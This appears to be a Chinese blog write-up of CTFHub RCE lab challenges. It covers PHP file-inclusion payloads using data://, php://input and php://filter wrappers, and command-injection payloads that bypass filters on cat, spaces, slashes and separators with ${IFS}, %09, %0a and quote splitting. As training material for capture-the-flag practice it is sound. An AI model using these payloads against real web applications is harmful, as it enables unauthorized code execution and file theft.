ctfhub-rce
文件包含
PHP手册对于伪协议的说明:PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
#
远程包含#
直接可以看到phpinfo
payload1:http://challenge-a2bc2ac121d2c7d6.sandbox.ctfhub.com:10800/?file=data://text/plain,<?php eval(system('cat /f***'));?%3E
payload2:http://challenge-a2bc2ac121d2c7d6.sandbox.ctfhub.com:10800/?file=php:%2F%2Finput+POST[<?php eval(system('cat /flag'));?>]
读取源代码#
这里ban掉了input
根据提示可以用的是filter
payload:http://challenge-c8349ae3b7d20f76.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
php://input#
payload:http://challenge-d360a0a280f4e573.sandbox.ctfhub.com:10800/?file=php:%2F%2Finput+POST[<?php eval(system('cat /flag_5808'));?>]
命令注入
payload1:www.baidu.com&ls
或www.baidu.com;ls
这里也尝试了www.baidu.com&&ls
但是不成功,说明Ping命令并没有成功执行
payload2:www.baidu.com&cat 15202220126935.php|base64
或www.baidu.com||cat 15202220126935.php|base64
知识点:linux shell里面 1.单个&符号表示将命令放于后台执行2.;分号可以执行多个命令,不用管按顺序前面的命令是否执行成功3.单|符号是将前面的命令的输出作为后面命令的输入4.双||符号就是逻辑或,执行多个命令中按顺序成功执行一个
禁用cat
浅浅总结一下可以代替cat的命令:tac,more,less,nl,head,tail
我只试了tac没问题
禁用空格
浅浅总结一下可以替代空格的字符:<>,<,${IFS},$IFS$9
试了一下${IFS}可以
过滤目录分隔符
思路是过滤了/就不用/ 。。。
payload:;cd flag_is_here&&cat flag_11523460732192.php
过滤了|
和&
思路就是过滤了就不用
payload:?ip=%3Bcat+flag_323732830325376.php#
综合
payload:?ip=%0acd%09*is_here%0ac%5cat%09*_24882959527937.php
看了wp学到了用%0a或者%0d或者%0d%0a绕过分隔符,文件前的空格也可以用%09 然后对应关键字可以单引号单引号绕过过滤,如ca''t
,或者\(
也可以尝试使用来绕过关键字,或者%5c(也是\
)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?